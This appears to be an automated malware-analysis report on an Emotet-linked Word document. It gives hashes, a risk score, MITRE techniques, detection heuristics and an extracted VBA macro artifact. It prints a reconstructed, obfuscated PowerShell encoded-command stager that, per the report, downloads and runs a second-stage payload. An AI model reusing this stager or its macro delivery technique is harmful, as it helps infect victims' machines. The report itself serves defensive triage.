Emotet Office (OLE) malware analysis — malicious · dd913f9de14ccd3f

MALICIOUS

Office (OLE)

156.0 KB Created: 2020-09-14 23:20:00 Authoring application: Microsoft Office Word

MD5: b789ad709b5a7386e945aa6475d15810 SHA-1: 84a4da852ae798818518fcd61ed345816fe72d37 SHA-256: dd913f9de14ccd3f7cde7de85810222629f7323672c246b2e46ce08523770e60

300 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The file contains VBA macros, including a Document_Open auto-execution macro, which is a common delivery mechanism for Emotet. A critical heuristic indicates an obfuscated PowerShell stager within a UserForm, likely responsible for downloading and executing a second-stage payload. The ClamAV detection also confirms the malicious nature and points towards the Emotet family. The reconstructed PowerShell command from the obfuscated string is: "powershell -enc JABKAG0AMA2vhaghsghfByAHgAeABh2vhaghsghfAD0AKAAnAE2vhaghsghfJwA0AHYAMg2vhaghsghfAnACsAJwBp2vhaghsghfADQAJwArAC2vhaghsghfcAdgAnACkA2vhaghsghfKQA7ACYAKA2vhaghsghfAnAG4AZQAn2vhaghsghfACsAJwB3AC2vhaghsghf0AaQB0ACcA2vhaghsghfKwAnAGUAbQ2vhaghsghfAnACkAIAAk2vhaghsghfAEUATgB2AD2vhaghsghfoAVQBTAEUA2vhaghsghfcgBwAFIATw2vhaghsghfBmAGkATABF2vhaghsghfAFwAYgB5AD2vhaghsghfAAYQBjAFcA2vhaghsghfTABcAHIAYw2vhaghsghfBhAEMAMgBq2vhaghsghfAGwAXAAgAC2vhaghsghf0AaQB0AGUA2vhaghsghfbQB0AHkAcA2vhaghsghfBlACAARABJ2vhaghsghfAHIARQBDAH2vhaghsghfQAbwByAHkA2vhaghsghfOwBbAE4AZQ2vhaghsghfB0AC4AUwBl2vhaghsghfAHIAdgBpAG2vhaghsghfMAZQBQAG8A2vhaghsghfBhAG4AYQBn2vhaghsghfAGUAcgBdAD2vhaghsghfoAOgAiAHMA2vhaghsghfRQBDAHUAcg2vhaghsghfBgAGkAdABZ2vhaghsghfAFAAcgBvAG2vhaghsghfAAVABPAGMA2vhaghsghfTwBMACIAIA2vhaghsghfA9ACAAKAAn2vhaghsghfAHQAJwArAC2vhaghsghfcAbAAnACsA2vhaghsghfKAAnAHMAJw2vhaghsghfArACcAMQAy2vhaghsghfACwAIAB0AC2vhaghsghfcAKwAnAGwA2vhaghsghfcwAxADEALA2vhaghsghfAnACkAKwAn2vhaghsghfACAAdAAnAC2vhaghsghfsAJwBsAHMA2vhaghsghfJwApADsAJA2vhaghsghfBOAHgAYwB62vhaghsghfAHYAegBiAC2vhaghsghfAAPQAgACgA2vhaghsghfKAAnAEgAZQ2vhaghsghfAnACsAJwBr2vhaghsghfAHgAJwApAC2vhaghsghfsAKAAnAF8A2vhaghsghfbABlAGMAJw2vhaghsg".

Heuristics 8

Hidden UserForm PowerShell EncodedCommand stager critical OLE_USERFORM_OBFUSCATED_POWERSHELL

OLE document contains a UTF-16LE form/property string with an obfuscated PowerShell -EncodedCommand payload. The observed macro family reconstructs this hidden string with Split/Join or UserForm property reads and launches it through WMI/COM process creation. This is downloader malware, not an Office CVE exploit.
ClamAV: Doc.Malware.Emotet-9762289-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emotet-9762289-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `c2c6c828c036fac6100aee871b53e2578aa69d81979ea582439457589bcf0fbb`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	18613 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

Open this report in the interactive analyzer, or submit your own file for analysis.